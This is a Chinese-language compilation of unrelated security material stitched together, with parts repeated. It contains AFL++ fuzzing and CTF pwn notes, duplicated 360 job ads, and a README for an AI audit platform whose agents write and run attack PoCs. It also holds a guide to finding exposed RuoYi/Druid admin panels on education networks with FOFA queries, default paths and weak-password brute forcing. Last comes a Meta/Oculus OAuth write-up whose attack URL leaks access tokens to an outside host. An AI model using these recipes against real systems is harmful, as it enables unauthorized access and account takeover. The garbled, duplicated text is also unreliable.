解决工具的依赖的问题(c脚本替代bash脚本)

再次安转依赖

build_qemu_support.sh的脚本修复

拷贝进入linux空间

清理空间

改个配置文件

然后创建一个临时终端,解决python的版本的问题

之后编译的时候可能会出现很多bug,我们用下面这个查看内存占用的情况

删除编译残留

安装AFL+

环境清理

docker拉取

运行,等待

爆破了2小时一无所获,我们可以延长时间的参数

crashes

这个目录通常用于存储 fuzzing 过程中发现的崩溃案例。AFL++ 在测试目标程序时,如果遇到崩溃(比如段错误、总线错误等),它会将触发崩溃的输入保存到这个文件夹中,供进一步分析。

default

这个文件夹可能包含 AFL++ 默认的配置、输入样本或运行时数据。它可能是 fuzzing 过程中使用的初始种子(seeds)文件的目录,也可能是 fuzzing 执行时的默认设置或输入数据的存储位置。

hangs

这个目录用于存储 fuzzing 过程中导致程序挂起(例如死锁或无限循环)的输入数据。当 AFL++ 测试过程中遇到这样的情况时,它会将这些输入保存到这个目录中,以便进一步调试。

plot_data

这个目录通常包含 AFL++ 在 fuzzing 流程中生成的图形数据或统计数据。例如,它可能包含了程序运行过程中的覆盖率信息,用于生成图形化的报告。AFL++ 可以通过这些数据来评估模糊测试的有效性和进展。

queue

这个文件夹保存 fuzzing 测试过程中用来测试程序的所有输入数据(也就是“队列”)。每一个输入样本都会被存储在此文件夹中,并且 AFL++ 会不断地修改、变异这些输入数据,并将变异后的数据放入队列中供程序继续测试。

查看 fuzzer_stats

这个文件记录了 AFL++ 在模糊测试过程中跟踪的关键统计数据

查看 plot_data

这个文件提供了模糊测试的进度数据,并记录了时间、执行情况等与测试进度相关的信息。每一行代表测试过程中的一个时间点

技巧三:结构体的分析技巧

结构体一般是存储在堆上,我们打断点到malloc的位置上,然后对比赋值从物理字段对比ida源码记忆结构体即可,如果抽象能力很强的话可以直接看。

这样的话看的话就比较清晰了,结构体的赋值字段就不用跳着看了

image.png







技巧四:程序流的分析技巧

我们看到漏洞的可能点,我们一个重要的是如何达到我们漏洞的利用点

这里我们可以结合ida的反汇编窗口去一个个对比去看,结合F5,这里和dbg的动调配合起来,道道很多,附一个中间过程对比的截图,主要是有外到内取看判断条件

image.png



这里的分析过程最好是关闭aslr,这样可以看到分支条件哪些是可控的因素,哪些是不可控的因素,哪些可以进入分支,哪些是必然不能进入分支的。

技巧五:弄清楚bug的原因

这个是和程序流一样的,我们要尽可能弄清楚,弄不清楚不是很影响,弄清楚了之后对于做题帮助是实质性的,比如说这个error的报错的原因

out的结构体如下

40 位十进制数大概是:

10^39 ~ 2^129.610^40 ~ 2^132.9

需要的字节数约为 ceil(bitlen/8)ceil(133/8) = 17 字节

也就是说,一个 40 位左右的大整数,转换成 base-256 输出时会产生 ~17 个 rem_byte

但你的 out 只有 16 字节,而且还不是“纯输出 buffer”,里面有指针/错误码。

所以当你写到第 9 个字节开始,out[1](error)就被你自己写脏了,变成非 0,于是:

就走 “error 分支”。

技巧五:漏洞分析技巧

这个是最难的一部分,把程序都还原出来,只不过是降低查找漏洞的难度,而不是我还原出来就一定能找到漏洞。

这个题目关闭了canary,本质上一个栈溢出

我们观察这里来回返回的释放申请,首先推测是结构体的重用的漏洞

这个题目逻辑流一开始往申请的堆块里面输入最大0x400的数据,实际上不到0x400

然后拷贝进入一个堆块,这里的拷贝是存在字符截断的处理的

之后申请一个ctx_manager结构体管理我们拷贝存储的堆块

第一轮检查结束就释放掉我们一开始的这些堆块,之后重复这个流程,然后功能执行的是分析计算

第二轮结束之后,还有一个计算结果标志位的检测,之后就是打印我们第二轮计算的结果,这个流程是这样的

这里的可疑的地方一个是多重释放,另外一个不断取余,我们从感觉是有这两个利用点

下面的这个利用点的话主要是这个

image.png



这里是往栈上的写,写的是我们计算的结果,我们可以利用我们利用残留数值ctx结构体,和这个配合可以写上rop链的

假如说我们不去使用特殊手段的话,我们最多只能写10个数字长度

然后我们发现可能并不是结构体重用的漏洞


助理安全研究员(漏洞挖掘与利用)(北京)

薪资:17-19k,15薪,具体可进一步沟通

投递方式:campus@360.cn



工作职责

1、深入研究软件、设备、系统、网络协议等某领域或多领域的安全漏洞,利用逆向工程、模糊测试、静态/动态代码分析等技术,主动发现并验证新的安全漏洞;

2、探索应用大语言模型(LLM)技术于Web与二进制领域的复杂漏洞挖掘,结合专业知识,设计构建相关自动化工具/流程;

3、研究前沿攻防技术,跟踪国内外安全动态与漏洞披露信息,复现漏洞,研究攻击手法和防御技术,持续提升公司的安全研究能力;

4、参与相关项目或课题,推动漏洞研究能力的价值转化。

任职资格

1、计算机科学、信息安全或相关领域本科及以上学历;

2、对Web和二进制安全漏洞有一定的认知,具备一定的逆向分析能力和研究能力,熟练使用常见工具,如:IDA、WinDbg、GDB等;

3、熟练掌握C/C++/Python等至少一种语言,熟悉X86或ARM汇编指令,有扎实的编程基础;

4、对漏洞挖掘与利用感兴趣,有热情和自我驱动力,有一定的抗压能力和较强的团队协作精神。

以上职位满足以下至少一项条件者优先录用:

1、参加过天府杯、Pwn2Own等赛事,并成功攻破目标,作为CTF主力选手取得过优秀的成绩。

2、在有影响力的业界会议(学术/工业)上发表论文;

3、有独立挖掘漏洞的经验,获得过主流厂商的CVE编号;

4、通过使用/定制/自研工具发现有效漏洞;



安全研究员(Windows方向)(北京)

薪资:17-19k,15薪,具体可进一步沟通

投递方式:campus@360.cn



工作职责

1持续跟踪并深入分析最新的Windows平台漏洞,研究其根本原理、高级利用技术及有效的缓解措施。

2研究和复现野外流行的攻击手法、APT攻击中使用的先进技术,特别是针对杀毒软件、EDR等安全产品的绕过技术(如白利用、无文件攻击、内存驻留、EDR盲点等)。

3基于研究成果,设计和开发创新的威胁检测模型和主动防御方案,并将其工程化,落地到实际的安全产品中,提升产品的核心检测与防护能力。

任职资格

1计算机科学、信息安全、网络工程或相关专业本科及以上学历。

2精通C/C++编程,熟悉Python等脚本语言,具备扎实的Windows平台开发能力(如Win32 API, Native API)。

3熟练掌握x86/x64汇编语言,能够熟练使用IDA Pro, WinDbg, x64dbg等工具进行静态分析和动态调试。

4深入理解Windows操作系统内核机制,包括内存管理、进程/线程调度、对象管理、文件系统、驱动模型等。

5对主流的漏洞利用技术(如ROP, JOP, 堆利用等)及相应的防御和绕过技术(如ASLR, DEP, CFG bypass)有深入的理解。

6对安全研究抱有浓厚兴趣和热情,具备强烈的自我驱动力、好奇心和优秀的学习能力,能够独立解决复杂技术问题。
加分项(满足以下一项或多项者优先):

7有独立发现并分析过漏洞(有CVE编号者优先)的经验。

8有Windows内核驱动开发或内核安全攻防经验者优先。

9有反病毒、反外挂、EDR、HIPS等安全产品核心研发经验者优先。

10在知名安全会议或在安全社区、个人博客上发表过高质量技术文章者优先。

11在CTF竞赛中取得过优异成绩者优先。


助理安全研究员(漏洞挖掘与利用)(北京)

薪资:17-19k,15薪,具体可进一步沟通

投递方式:campus@360.cn



工作职责

1、深入研究软件、设备、系统、网络协议等某领域或多领域的安全漏洞,利用逆向工程、模糊测试、静态/动态代码分析等技术,主动发现并验证新的安全漏洞;

2、探索应用大语言模型(LLM)技术于Web与二进制领域的复杂漏洞挖掘,结合专业知识,设计构建相关自动化工具/流程;

3、研究前沿攻防技术,跟踪国内外安全动态与漏洞披露信息,复现漏洞,研究攻击手法和防御技术,持续提升公司的安全研究能力;

4、参与相关项目或课题,推动漏洞研究能力的价值转化。

任职资格

1、计算机科学、信息安全或相关领域本科及以上学历;

2、对Web和二进制安全漏洞有一定的认知,具备一定的逆向分析能力和研究能力,熟练使用常见工具,如:IDA、WinDbg、GDB等;

3、熟练掌握C/C++/Python等至少一种语言,熟悉X86或ARM汇编指令,有扎实的编程基础;

4、对漏洞挖掘与利用感兴趣,有热情和自我驱动力,有一定的抗压能力和较强的团队协作精神。

以上职位满足以下至少一项条件者优先录用:

1、参加过天府杯、Pwn2Own等赛事,并成功攻破目标,作为CTF主力选手取得过优秀的成绩。

2、在有影响力的业界会议(学术/工业)上发表论文;

3、有独立挖掘漏洞的经验,获得过主流厂商的CVE编号;

4、通过使用/定制/自研工具发现有效漏洞;



安全研究员(Windows方向)(北京)

薪资:17-19k,15薪,具体可进一步沟通

投递方式:campus@360.cn



工作职责

1持续跟踪并深入分析最新的Windows平台漏洞,研究其根本原理、高级利用技术及有效的缓解措施。

2研究和复现野外流行的攻击手法、APT攻击中使用的先进技术,特别是针对杀毒软件、EDR等安全产品的绕过技术(如白利用、无文件攻击、内存驻留、EDR盲点等)。

3基于研究成果,设计和开发创新的威胁检测模型和主动防御方案,并将其工程化,落地到实际的安全产品中,提升产品的核心检测与防护能力。

任职资格

1计算机科学、信息安全、网络工程或相关专业本科及以上学历。

2精通C/C++编程,熟悉Python等脚本语言,具备扎实的Windows平台开发能力(如Win32 API, Native API)。

3熟练掌握x86/x64汇编语言,能够熟练使用IDA Pro, WinDbg, x64dbg等工具进行静态分析和动态调试。

4深入理解Windows操作系统内核机制,包括内存管理、进程/线程调度、对象管理、文件系统、驱动模型等。

5对主流的漏洞利用技术(如ROP, JOP, 堆利用等)及相应的防御和绕过技术(如ASLR, DEP, CFG bypass)有深入的理解。

6对安全研究抱有浓厚兴趣和热情,具备强烈的自我驱动力、好奇心和优秀的学习能力,能够独立解决复杂技术问题。
加分项(满足以下一项或多项者优先):

7有独立发现并分析过漏洞(有CVE编号者优先)的经验。

8有Windows内核驱动开发或内核安全攻防经验者优先。

9有反病毒、反外挂、EDR、HIPS等安全产品核心研发经验者优先。

10在知名安全会议或在安全社区、个人博客上发表过高质量技术文章者优先。

11在CTF竞赛中取得过优异成绩者优先。

让代码漏洞挖掘像呼吸一样简单,小白也能当黑客挖洞

DeepAudit - 开源的代码审计智能体平台 ?‍♂️1
DeepAudit - 开源的代码审计智能体平台 ?‍♂️

? 界面预览

### ? Agent 审计入口 Agent审计入口 *首页快速进入 Multi-Agent 深度审计*
? 审计流日志

审计流日志
实时查看 Agent 思考与执行过程
?️ 智能仪表盘

仪表盘
一眼掌握项目安全态势
⚡ 即时分析

即时分析
粘贴代码 / 上传文件,秒出结果
?️ 项目管理

项目管理
GitHub/GitLab 导入,多项目协同管理
### ? 专业报告 审计报告 *一键导出 PDF / Markdown / JSON*(图中为快速模式,非Agent模式报告) ? [查看Agent审计完整报告示例](https://lintsinghua.github.io/)

⚡ 项目概述

DeepAudit 是一个基于 Multi-Agent 协作架构的下一代代码安全审计平台。它不仅仅是一个静态扫描工具,而是模拟安全专家的思维模式,通过多个智能体(Orchestrator, Recon, Analysis, Verification)的自主协作,实现对代码的深度理解、漏洞挖掘和 自动化沙箱 PoC 验证

我们致力于解决传统 SAST 工具的三大痛点:

  • 误报率高 — 缺乏语义理解,大量误报消耗人力
  • 业务逻辑盲点 — 无法理解跨文件调用和复杂逻辑
  • 缺乏验证手段 — 不知道漏洞是否真实可利用

用户只需导入项目,DeepAudit 便全自动开始工作:识别技术栈 → 分析潜在风险 → 生成脚本 → 沙箱验证 → 生成报告,最终输出一份专业审计报告。

核心理念: 让 AI 像黑客一样攻击,像专家一样防御。

? 为什么选择 DeepAudit?

| ? 传统审计的痛点 | ? DeepAudit 解决方案 | | :--- | :--- | | **人工审计效率低**
跨不上 CI/CD 代码迭代速度,拖慢发布流程 | **? Multi-Agent 自主审计**
AI 自动编排审计策略,全天候自动化执行 | | **传统工具误报多**
缺乏语义理解,每天花费大量时间清洗噪音 | **? RAG 知识库增强**
结合代码语义与上下文,大幅降低误报率 | | **数据隐私担忧**
担心核心源码泄露给云端 AI,无法满足合规要求 | **? 支持 Ollama 本地部署**
数据不出内网,支持 Llama3/DeepSeek 等本地模型 | | **无法确认真实性**
外包项目漏洞多,不知道哪些漏洞真实可被利用 | **? 沙箱 PoC 验证**
自动生成并执行攻击脚本,确认漏洞真实危害 |

?️ 系统架构

整体架构图

DeepAudit 采用微服务架构,核心由 Multi-Agent 引擎驱动。

DeepAudit 架构图

? 审计工作流

步骤阶段负责 Agent主要动作
1策略规划Orchestrator接收审计任务,分析项目类型,制定审计计划,下发任务给子 Agent
2信息收集Recon Agent扫描项目结构,识别框架/库/API,提取攻击面(Entry Points)
3漏洞挖掘Analysis Agent结合 RAG 知识库与 AST 分析,深度审查代码,发现潜在漏洞
4PoC 验证Verification Agent(关键) 编写 PoC 脚本,在 Docker 沙箱中执行。如失败则自我修正重试
5报告生成Orchestrator汇总所有发现,剔除被验证为误报的漏洞,生成最终报告

? 项目代码结构

DeepAudit/
├── backend/                        # Python FastAPI 后端
│   ├── app/
│   │   ├── agents/                 # Multi-Agent 核心逻辑
│   │   │   ├── orchestrator.py     # 总指挥:任务编排
│   │   │   ├── recon.py            # 侦察兵:资产识别
│   │   │   ├── analysis.py         # 分析师:漏洞挖掘
│   │   │   └── verification.py     # 验证者:沙箱 PoC
│   │   ├── core/                   # 核心配置与沙箱接口
│   │   ├── models/                 # 数据库模型
│   │   └── services/               # RAG, LLM 服务封装
│   └── tests/                      # 单元测试
├── frontend/                       # React + TypeScript 前端
│   ├── src/
│   │   ├── components/             # UI 组件库
│   │   ├── pages/                  # 页面路由
│   │   └── stores/                 # Zustand 状态管理
├── docker/                         # Docker 部署配置
│   ├── sandbox/                    # 安全沙箱镜像构建
│   └── postgres/                   # 数据库初始化
└── docs/                           # 详细文档

? 快速开始 (Docker)

1. 启动项目

复制一份 backend/env.examplebackend/.env,并按需配置 LLM API Key。
然后执行以下命令一键启动:

# 1. 准备配置文件
cp backend/env.example backend/.env

# 2. 构建沙箱镜像 (首次运行必须)
cd docker/sandbox && chmod +x build.sh && ./build.sh && cd ../..

# 3. 启动服务
docker compose up -d
? 启动成功! 访问 http://localhost:3000 开始体验。

? 源码启动指南

适合开发者进行二次开发调试。

环境要求

  • Python 3.10+
  • Node.js 18+
  • PostgreSQL 14+
  • Docker (用于沙箱)

1. 后端启动

cd backend
# 激活虚拟环境 (推荐 uv/poetry)
source .venv/bin/activate 

# 安装依赖
pip install -r requirements.txt

# 启动 API 服务
uvicorn app.main:app --reload

2. 前端启动

cd frontend
npm install
npm run dev

3. 沙箱环境

开发模式下,仍需通过 Docker 启动沙箱服务。

cd docker/sandbox
./build.sh

? Multi-Agent 智能审计

支持的漏洞类型

漏洞类型描述
sql_injectionSQL 注入
xss跨站脚本攻击
command_injection命令注入
path_traversal路径遍历
ssrf服务端请求伪造
xxeXML 外部实体注入
漏洞类型描述
insecure_deserialization不安全反序列化
hardcoded_secret硬编码密钥
weak_crypto弱加密算法
authentication_bypass认证绕过
authorization_bypass授权绕过
idor不安全直接对象引用
? 详细文档请查看 Agent 审计指南

? 支持的 LLM 平台

? 国际平台

OpenAI GPT-4o / GPT-4
Claude 3.5 Sonnet / Opus
Google Gemini Pro
DeepSeek V3

?? 国内平台

通义千问 Qwen
智谱 GLM-4
Moonshot Kimi
文心一言 · MiniMax · 豆包

? 本地部署

Ollama
Llama3 · Qwen2.5 · CodeLlama
DeepSeek-Coder · Codestral
代码不出内网

? 支持 API 中转站,解决网络访问问题 | 详细配置 → LLM 平台支持

? 功能矩阵

功能说明模式
? Agent 深度审计Multi-Agent 协作,自主编排审计策略Agent
? RAG 知识增强代码语义理解,CWE/CVE 知识库检索Agent
? 沙箱 PoC 验证Docker 隔离执行,验证漏洞有效性Agent
?️ 项目管理GitHub/GitLab 导入,ZIP 上传,10+ 语言支持通用
即时分析代码片段秒级分析,粘贴即用通用
? 五维检测Bug · 安全 · 性能 · 风格 · 可维护性通用
? What-Why-How精准定位 + 原因解释 + 修复建议通用
? 审计规则内置 OWASP Top 10,支持自定义规则集通用
? 提示词模板可视化管理,支持中英文双语通用
? 报告导出PDF / Markdown / JSON 一键导出通用
⚙️ 运行时配置浏览器配置 LLM,无需重启服务通用

? 发展路线图

我们正在持续演进,未来将支持更多语言和更强大的 Agent 能力。

  • [x] v1.0: 基础静态分析,集成 Semgrep
  • [x] v2.0: 引入 RAG 知识库,支持 Docker 安全沙箱
  • [x] v3.0: Multi-Agent 协作架构 (Current)
  • [ ] 支持更多漏洞验证 PoC 模板
  • [ ] 支持更多语言
  • [ ] 自动修复 (Auto-Fix): Agent 直接提交 PR 修复漏洞
  • [ ] 增量PR审计: 持续跟踪 PR 变更,智能分析漏洞,并集成CI/CD流程
  • [ ] 优化RAG: 支持自定义知识库
  • [ ] 优化Agent: 支持自定义Agent

前言

若依系统存在较多魔改版本,具有前后端分离的情况,内置了druid
通过这个拿下了交大证书
交大证书

Druid弱口令上分攻略

信息收集

首先,我们要做的是收集基于若依CMS的系统

图标收集方法
最简单的就是利用图标的方法进行收集(以下只是举例)

(icon_hash="-1231872293" || icon_hash="706913071")

fofa收集信息
内容收集
另外可以收集的就是内容
SRC之若依系统恰分攻略
下面是以主体中的关键字进行匹配(大部分存在二改的情况)

SRC之若依系统恰分攻略1
标题收集
若依登录系统

收集类似的标题

收集标题

前后端分离之后端收集1
发现下述内容,是ruoyi后端,也需要进行收集
SRC之若依系统恰分攻略2
由于存在很多魔改版本,大致会修改ruoyi那一段

SRC之若依系统恰分攻略3
收集的思路大致为内容匹配(以下是思路之一)
SRC之若依系统恰分攻略4
前后端分离之后端收集2
除了存在后台欢迎的情况,也可能做了弱权限校验,会出现以下情况
弱权限校验
因此此类也需要收集

fofa收集信息2
最重要
如果是为了教育上分的话,需要加上一点小小的黑魔法
加上下面这句话就会筛选出来的内容为教育网段内容

org="China Education and Research Network Center"

fofa收集信息3

druid目录探测

默认路径探测0-未授权

如果配置不当可能不需要druid密码即可直接访问druid

/druid/index.html

默认路径探测1-druid

若依默认的druid路径是

/druid/login.html

收集的网址直接拼接,如果成功,就说明存在druid后台
druid后台

默认路径探测2-默认api

若依存在默认的api,druid的路径可能在api下

/prod-api/druid/login.html
/dev-api/druid/login.html

收集的网址直接拼接,如果成功,就说明存在druid后台
druid后台

默认路径探测3-开发自定义

在这个情况下,直接扫描是没有任何用处的,通常的思路是首先浅浅登录错误一次,查看数据包的目录

示例如下
发现存在一个地址
SRC之若依系统恰分攻略5
抓包查看地址后发现如下目录

SRC之若依系统恰分攻略6
那么拼接地址为

/{发现的api}/druid/login.html

SRC之若依系统恰分攻略7

默认路径探测总结

常见路径地址如下

/druid/index.html
/druid/login.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html

甚于内容请在实战中进行尝试

druid弱口令爆破

通常druid不需要验证码就可以进行爆破(请自行收集字典)

常见用户名

admin
druid
ruoyi
...

常见密码

123456
admin
druid
...

总结

相对来说爆破还是需要一本好的字典的,重点在于收集面

以下是在edu-src中使用druid弱口令上分的部分
SRC之若依系统恰分攻略8

由于第一方 access_token 被盗,Facebook/Oculus 帐户被接管

恶意行为者可以窃取 Oculus 应用程序的第一方访问令牌,他可以使用该令牌访问 Facebook/Oculus 帐户。

因为 Facebook 中的 Oculus 应用程序(用于使用 Facebook 帐户登录 Oculus)将auth.oculus.com/login/端点作为有效的 redirect_uri。

不过,Oculus 已改用Meta帐户进行登录。这意味着在访问auth.oculus.com/login/时,端点将重定向到auth.meta.com/oidc/以使用Meta帐户登录,然后返回到 auth.oculus.com。

我们可以在www.facebook.com[1] OAuth中选择response_type=token,令牌将被传递到下一个重定向URL,直到再次到达auth.oculus.com。

这里的问题是,之前,auth.oculus.com/login通过使用 Javascript 进行重定向来防止令牌泄漏,但是在 oculus 登录更改为 Meta 帐户而不是 Facebook 后,这种保护消失了,现在它直接重定向到最初在auth.oculus.com/login/?redirect_uri=Redirect_Here中找到的 URL。

Redirect_Here 可以是 oculus.com 的任何子域,其中一些子域(如 forums.oculus.com)会重定向到第三方应用程序,该应用程序可以具有开放重定向来泄漏令牌(但这不是使用的开放重定向)。这个漏洞很容易发现和利用。

漏洞挖掘细节

测试过程:

  1. 受害者已登录Facebook.com
  2. 受害者未登录Oculus.com(这不是必需的,因为我们可以在此处使用注销 CSRF)

攻击:

  1. 通过重定向到此页面https://auth.meta.com/login/facebook/

将受害者登录到他的 Meta 帐户 CSRF

  1. 打开https://www.facebook.com/v3.1/dialog/ oauth?app_id=1517832211847102&redirect_uri=https://auth.oculus.com/login/?redirect_uri=https://forums.oculus.com/openredirect&response_type=token[2]
  2. 在 OAuth 流程之后,我们可以注意到令牌最终以 https 形式结束://forums.oculusvr.com/openredirect#access_token=TOKEN

4)最终access_token将被泄露到https://ysamm.com

漏洞时间线

2022 年 8 月 27 日—报告发送 2022 年 

2022 年 9 月 25 日—Meta 确认

2022 年 9 月 25 日—Meta 修复

2022 年 9 月 25 日—Meta 授予 44250 美元赏金。(包括 BountyCon 奖金和最高影响力报告奖金)